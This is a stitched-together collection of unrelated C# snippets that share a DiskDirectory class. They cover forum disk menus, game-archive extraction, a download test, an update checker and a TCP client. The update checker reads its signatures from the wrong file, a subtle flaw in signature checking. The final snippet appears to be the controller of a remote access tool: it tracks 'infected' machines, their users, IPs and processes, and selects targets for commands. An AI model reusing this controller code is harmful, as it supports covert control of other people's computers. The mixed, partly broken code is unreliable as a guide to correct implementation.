protected void CreateDirectory() { MessageDisplay msgDisplay = CreateMessageDisplay(); int newDirId; int dirId = _Request.Get <int>("directoryid", Method.Get, 0); DiskDirectory currentDir = DiskBO.Instance.GetDiskDirectory(MyUserID, dirId); string dirName = _Request.Get("directoryname", Method.Post); //if(new InvalidFileNameRegex().IsMatch(HttpUtility.HtmlDecode(dirName))) //{ // msgDisplay.AddError("目录名称能包含以下字符:"+HttpUtility.HtmlEncode(" \" | / \\ < > * ? ")); // return; //} using (ErrorScope es = new ErrorScope()) { bool success = DiskBO.Instance.CreateDiskDirectory(MyUserID, dirId, dirName, out newDirId); if (success) { Return(newDirId); } else { es.CatchError <ErrorInfo>(delegate(ErrorInfo error) { msgDisplay.AddError(error); }); } } }
protected string GetDiskMenu(string space, string html, string selectedImg, string noselectedImg, string selectedClass, string noselectedClass, string dirNameStr, string rootNameStr) { tempSpace = space; menuString = string.Empty; int dID = CurrentDirectory.DirectoryID; m_ParentDirectories = DiskBO.Instance.GetParentDiskDirectories(MyUserID, dID); DiskDirectory root = DiskBO.Instance.GetDiskRootDirectory(MyUserID); string rootstr = string.Empty; if (root == null || root.DirectoryID <= 0) { rootstr = string.Format(html, selectedClass, BbsRouter.GetUrl("app/disk/index") + "?directoryID=" + CurrentDirectory.DirectoryID + "&ViewMode=" + ViewMode, rootNameStr);// UrlHelper.GetDiskCenterUrl(), rootNameStr); return(rootstr); } rootstr = string.Format(html, ((root.DirectoryID == dID || dID == 0) ? selectedClass : noselectedClass), BbsRouter.GetUrl("app/disk/index") + "?ViewMode=" + ViewMode, rootNameStr);// UrlHelper.GetDiskCenterUrl(), rootNameStr); menuString += rootstr; html = string.Format(html, "{0}", "{1}", "{2}" + dirNameStr); GetDirectoriesByDirectory(root.DirectoryID, m_ParentDirectories, space, html, selectedImg, noselectedImg, selectedClass, noselectedClass); return(menuString); }
protected string GetDiskMenu(string space, string html, string selectedImg, string noselectedImg, string selectedClass, string noselectedClass, string dirNameStr, string rootNameStr) { tempSpace = space; menuString = string.Empty; int dID = CurrentDirectory.DirectoryID; if (_Request.Get <int>("dID", Method.Get, 0) > 0) { dID = _Request.Get <int>("dID", Method.Get, 0); } dirs = DiskBO.Instance.GetParentDiskDirectories(MyUserID, dID); DiskDirectory root = DiskBO.Instance.GetDiskRootDirectory(MyUserID); string rootstr = string.Empty; if (root == null || root.DirectoryID <= 0) { rootstr = string.Format(html, selectedClass, GetDiskCenterMoveUrl(CurrentDirectory.DirectoryID, CurrentDirectory.DirectoryID), rootNameStr);// UrlHelper.GetDiskCenterUrl() + "?SourceID=" + CurrentDirectory.DirectoryID, rootNameStr); return(rootstr); } rootstr = string.Format(html, ((root.DirectoryID == dID || dID == 0) ? selectedClass : noselectedClass), GetDiskCenterMoveUrl(root.DirectoryID, CurrentDirectory.DirectoryID), rootNameStr);// UrlHelper.GetDiskCenterUrl() + "?SourceID=" + CurrentDirectory.DirectoryID, rootNameStr); menuString += rootstr; html = string.Format(html, "{0}", "{1}", "{2}" + dirNameStr); GetDirectoriesByDirectory(root.DirectoryID, dirs, space, html, selectedImg, noselectedImg, selectedClass, noselectedClass); return(menuString); }
private List <int> MenuTreeIDs(int currentID) { List <int> menus = new List <int>(); DiskDirectory idd = GetParentEntry(currentID); while (idd != null) { menus.Add(idd.DirectoryID); idd = GetParentEntry(idd.ParentID); } menus.Add(currentID); return(menus); }
protected void GetDiskMenu(DiskDirectory directory, string space, string html, string onSelect, int depth, StringBuffer buffer) { if (directory == null) { return; } dirs = DiskBO.Instance.GetParentDiskDirectories(MyUserID, directory.DirectoryID); string spaceString = ""; for (int i = 0; i < depth; i++) { spaceString += space; } buffer += string.Format(html, spaceString, directory.DirectoryID, directory.ParentID == 0 ? "\\" : directory.Name, directory.DirectoryID == CurrentDirectory.DirectoryID ? onSelect : ""); DiskDirectoryCollection childDirectory; if (dirs.ContainsKey(directory.DirectoryID)) { childDirectory = dirs[directory.DirectoryID]; if (childDirectory != null) { foreach (DiskDirectory dir in childDirectory) { GetDiskMenu(dir, space, html, onSelect, depth + 1, buffer); } } } //tempSpace = space; //menuString = string.Empty; //int dID = CurrentDirectory.DirectoryID; // //DiskDirectory root = DiskBO.Instance.GetDiskRootDirectory(MyUserID); //string rootstr = string.Empty; //if (root == null || root.DirectoryID <= 0) //{ // rootstr = string.Format(html, root==null?0:root.DirectoryID, rootNameStr);// UrlHelper.GetDiskCenterUrl(), rootNameStr); // return rootstr; //} // rootstr = string.Format(html, dID, rootNameStr);// UrlHelper.GetDiskCenterUrl(), rootNameStr); //menuString += rootstr; ////html = string.Format(html, "{0}", "{1}", "{2}" + dirNameStr); //GetDirectoriesByDirectory(root.DirectoryID, dirs, space, // html); //return menuString; }
/// <summary> /// ��ȡ��Ŀ¼ /// </summary> /// <param name="userID"></param> /// <returns></returns> public DiskDirectory GetDiskRootDirectory(int userID) { DiskDirectory rootDirectory = null; if (!CacheUtil.TryGetValue <DiskDirectory>(string.Format(chcheKey_userRootDirectory, userID), out rootDirectory)) { rootDirectory = DiskDao.Instance.GetDiskRootDirectory(userID); } if (rootDirectory == null) { rootDirectory = new DiskDirectory(0, 0, "\\"); } else { CacheUtil.Set <DiskDirectory>(string.Format(chcheKey_userRootDirectory, userID), rootDirectory); } return(rootDirectory); }
public static void ExtractGggpk(string ggpkPath, string destinationPath) { Console.CursorVisible = false; Console.WriteLine("Reading GGPK File..."); var sw = Stopwatch.StartNew(); using (var ggpk = new GgpkFileSystem(ggpkPath)) { Console.WriteLine($"GGPK File parsed... {sw.Elapsed.TotalMilliseconds:N} ms"); Console.WriteLine("Extracting GGPK Contents..."); var destinationFolder = new DiskDirectory(destinationPath, null, true); ggpk.CopyTo(destinationFolder); Console.WriteLine($"Elapsed total time: {sw.Elapsed.TotalMilliseconds:N} ms"); Console.WriteLine($"{Environment.NewLine}{Environment.NewLine}Done..."); Console.CursorVisible = true; } }
public async Task FolderDownloadTest() { var cancellation = ThreadingUtils.CreateCToken(1000000000); var targetDirectoryPath = Path.Combine(Path.GetTempPath(), "Test"); IOUtils.RecreateDirectory(targetDirectoryPath); var targetDirectory = new DiskDirectory(targetDirectoryPath, IOAccess.FULL); await(await getRoot()).DownloadToAsync(targetDirectory, cancellation); var folder1 = await targetDirectory.GetDirectoryAsync(new UPath(PATH_FORMAT, "Folder 1"), cancellation); var folder1_1 = await targetDirectory.GetDirectoryAsync(new UPath(PATH_FORMAT, "Folder 1\\Folder 1-1"), cancellation); var folder1_2 = await targetDirectory.GetDirectoryAsync(new UPath(PATH_FORMAT, "Folder 1\\Folder 1-2"), cancellation); await validateContent(targetDirectory, "Folder 1", "File in the root folder.txt", cancellation); await validateContent(folder1, "Folder 1-1,Folder 1-2", "File in the folder 1.txt,Second file in the folder 1.txt", cancellation); await validateContent(folder1_1, null, null, cancellation); await validateContent(folder1_2, null, "File in the folder 1-2.txt", cancellation); }
private static void PsgExtract() { var sw = Stopwatch.StartNew(); Console.WriteLine("Reading PassiveSkillGraph.psg..."); var psgFile = new DiskFile(@"C:\ggpk3\Metadata\PassiveSkillGraph.psg"); var diskDirectory = new DiskDirectory(@"C:\ggpk3\Data\"); var datIndex = new DatFileIndex(diskDirectory, DetSpecificationIndex.Default); var stats = new StatsDatLoader().Load(datIndex); var mods = new ModifiersDatLoader(stats).Load(datIndex); var passiveTree = new SkillTreeLoader(stats, datIndex); var psg = new PsgFile(psgFile); var result = passiveTree.Load(psg); sw.Stop(); Console.WriteLine($"Parsed Passive Skill Graph in {sw.ElapsedMilliseconds}ms.\r\n"); Console.WriteLine($"{psg.Groups.Count} groups, with {psg.Groups.Sum(c => c.Count)} nodes in total"); }
protected void GetDiskMenu(DiskDirectory directory, string space, string html, string onSelect, int depth, StringBuffer buffer) { if (directory == null) return; dirs = DiskBO.Instance.GetParentDiskDirectories(MyUserID, directory.DirectoryID); string spaceString = ""; for (int i = 0; i < depth; i++) { spaceString += space; } buffer += string.Format(html, spaceString, directory.DirectoryID, directory.ParentID == 0 ? "\\" : directory.Name, directory.DirectoryID == CurrentDirectory.DirectoryID ? onSelect : ""); DiskDirectoryCollection childDirectory; if (dirs.ContainsKey(directory.DirectoryID)) { childDirectory = dirs[directory.DirectoryID]; if (childDirectory != null) { foreach (DiskDirectory dir in childDirectory) { GetDiskMenu(dir, space, html, onSelect, depth + 1, buffer); } } } //tempSpace = space; //menuString = string.Empty; //int dID = CurrentDirectory.DirectoryID; // //DiskDirectory root = DiskBO.Instance.GetDiskRootDirectory(MyUserID); //string rootstr = string.Empty; //if (root == null || root.DirectoryID <= 0) //{ // rootstr = string.Format(html, root==null?0:root.DirectoryID, rootNameStr);// UrlHelper.GetDiskCenterUrl(), rootNameStr); // return rootstr; //} // rootstr = string.Format(html, dID, rootNameStr);// UrlHelper.GetDiskCenterUrl(), rootNameStr); //menuString += rootstr; ////html = string.Format(html, "{0}", "{1}", "{2}" + dirNameStr); //GetDirectoriesByDirectory(root.DirectoryID, dirs, space, // html); //return menuString; }
public MainVM() { populateVersionsAsync(); async void populateVersionsAsync() { const string VERSION_INFO_FILE_NAME = "Info.V1.txt"; const string SIGNATURES_FILE_NAME = "Signatures.V1.txt"; const string APPLICATION_FILE_NAME = "App.V1.zip"; const double MAX_VERSION_INFO_FILE_SIZE = 0.1 * 1024 * 1024; const double MAX_SIGNATURES_FILE_SIZE = 0.1 * 1024 * 1024; var updatesFolder = await YandexDisk.GetRootAsync("https://yadi.sk/d/SO6cu-S-NQB4_A"); foreach (var updateDirectoryTask in updatesFolder.EnumerateDirectoriesAsync(CancellationToken.None)) { var updateDirectory = await updateDirectoryTask; var versionInfoFile = await updateDirectory.GetFileAsync(new UPath(new PathFormat("\\"), VERSION_INFO_FILE_NAME)); var signaturesFile = await updateDirectory.GetFileAsync(new UPath(new PathFormat("\\"), SIGNATURES_FILE_NAME)); if (signaturesFile.Size > MAX_SIGNATURES_FILE_SIZE) { break; } else if (versionInfoFile.Size > MAX_VERSION_INFO_FILE_SIZE) { break; } var downloadDirPath = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); var downloadDir = new DiskDirectory(downloadDirPath, IOAccess.FULL); Dictionary <string, byte[]> signatures; using (var signaturesFileStream = await versionInfoFile.OpenAsync(FileOpenMode.ONLY_OPEN, _cts.Token)) { var signaturesFileData = signaturesFileStream.ReadExact(signaturesFile.Size); signatures = Encoding.UTF8.GetString(signaturesFileData) .Split(Global.NL) .Select(kvp => kvp.Split(";")) .Where(kvp => kvp.Length == 2) .ToDictionary(kvp => kvp[0], kvp => kvp[1].FromBase64()); } if (!signatures.Keys.ContainsAll(VERSION_INFO_FILE_NAME, SIGNATURES_FILE_NAME, APPLICATION_FILE_NAME)) { break; } string[] changes; using (var versionInfoFileStream = await versionInfoFile.OpenAsync(FileOpenMode.ONLY_OPEN, _cts.Token)) { var versionInfoFileData = versionInfoFileStream.ReadExact(versionInfoFile.Size); var isMatch = SecurityUtils.VerifySignatureHash( versionInfoFileData, signatures[VERSION_INFO_FILE_NAME], Properties.Resources.PublicRSA4096Key); if (!isMatch) { break; } changes = Encoding.UTF8.GetString(versionInfoFileData) .Split(Global.NL) .ToArray(); } Verisons.Add(new VersionInfoVM(updateDirectory.Name, changes, signatures)); } } }
public static void ReceiveData(TcpClient client) { ns = client.GetStream(); byte[] receivedBytes = new byte[1024]; int byte_count; try { while ((byte_count = ns.Read(receivedBytes, 0, receivedBytes.Length)) > 0) { string d = Encoding.UTF8.GetString(receivedBytes, 0, byte_count); // MessageDisplayer.Log(d); string[] splitter = d.Split('|'); if (d.Contains("authsuccess")) { Perso.Me.username = Form1.username; new Thread(() => { Form2 frm = new Form2(); frm.ShowDialog(); }).Start(); Form1.todo = "d"; } if (d.Contains("authfail")) { MessageBox.Show("Tu t'es trompé / tu ne fait pas partit de l'élite, navré poto"); } if (d.Contains("LOG")) { string logid = splitter[1]; string msg = splitter[2]; string secmsg = ""; try { secmsg = splitter[3]; } catch { } switch (logid) { case "adminconnect": MessageDisplayer.AdminConnect(msg); break; case "SelectSuccess": MessageDisplayer.SelectBool(true, msg, secmsg); break; case "SelectFailed": MessageDisplayer.SelectBool(false, msg, secmsg); MessageBox.Show("L'utilisateur que vous essayez de séléctionner est probablement déconnecté \r\n toute tentative d'envoie de commande sur ce PC sera par conséquent inutile"); break; case "ACTIVITY": MessageDisplayer.Log(msg); break; } } if (d.Contains("NewDisk")) { string reqID = splitter[0]; string dirName = splitter[1]; DiskDirectory dd = new DiskDirectory(dirName); DiskDirectory.diskDirectories.Add(dd); } if (d.Contains("NewFile")) { string reqID = splitter[0]; string dirName = splitter[1]; CustomThing dd = new CustomThing(dirName); CustomThing.customThings.Add(dd); //MessageDisplayer.Log("New Created file " + CustomThing.customThings.Count.ToString()); } if (d.Contains("NewFolder")) { string reqID = splitter[0]; string dirName = splitter[1]; CustomThing dd = new CustomThing(dirName); CustomThing.customThings.Add(dd); //MessageDisplayer.Log("New Created folder " + CustomThing.customThings.Count.ToString()); } if (d.Contains("empty")) { MessageDisplayer.Log("Aucun infecté !"); } if (d.Contains("NewProcess")) { string[] split = d.Split('|'); string processname = split[1]; string processid = split[2]; string processTitle = split[3]; bool todo = true; CustomProcess cp = new CustomProcess(processname, processid, processTitle); foreach (CustomProcess cps in CustomProcess.customProcesses) { if (cps.processid == processid) { todo = false; } } if (todo == true) { CustomProcess.customProcesses.Add(cp); } } if (d.Contains("USERS")) { User.users.Clear(); string[] global = d.Split(';'); //USERS;dzqd|qdoqzd|zqdpqokz|qzqzdp; string reqid = global[0]; //MessageDisplayer.LoadUsers(); foreach (string s in global) { if (!s.Contains("USERS")) { if (s == "") { } else { try { string[] split = s.Split('|'); string poste = split[0]; string user = split[1]; string isadmin = split[2]; string ip = split[3]; User u = new User(user, poste, isadmin, ip); if (!User.users.Contains(u)) { User.users.Add(u); MessageDisplayer.UserConnected(user); } } catch { } } } } // MessageDisplayer.UsersLoaded(); } } } catch { Form1.current = Form1.State.DECONNECTE; } }